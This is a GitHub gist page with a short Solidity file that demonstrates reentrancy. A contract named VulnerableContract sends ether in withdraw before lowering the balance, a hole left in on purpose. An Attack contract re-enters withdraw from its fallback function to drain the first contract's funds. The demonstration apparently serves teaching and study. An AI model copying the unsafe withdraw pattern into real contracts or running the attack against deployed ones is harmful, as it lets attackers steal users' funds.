Created
April 8, 2023 10:07
-
-
Save kyriediculous/ca781ee6dae1f364f383ab3fa82ef8fc to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-FileCopyrightText: 2023 Tenderize <[email protected]> | |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract VulnerableContract { | |
mapping(address => uint256) public balances; | |
constructor() payable {} | |
function deposit() public payable { | |
balances[msg.sender] += msg.value; | |
} | |
function withdraw(uint256 amount) public { | |
require(balances[msg.sender] >= amount); | |
(bool success,) = payable(msg.sender).call{value: amount}(""); | |
require(success, "transfer failed"); | |
balances[msg.sender] -= amount; | |
} | |
} | |
contract Attack { | |
uint256 constant amount = 1 ether; | |
VulnerableContract vulnerableContract; | |
constructor(VulnerableContract _vulnerableContract) payable { | |
vulnerableContract = _vulnerableContract; | |
} | |
function attack() payable public { | |
vulnerableContract.deposit{value: amount}(); | |
vulnerableContract.withdraw(amount); | |
} | |
fallback() payable external { | |
if (address(vulnerableContract).balance >= amount) vulnerableContract.withdraw(amount); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment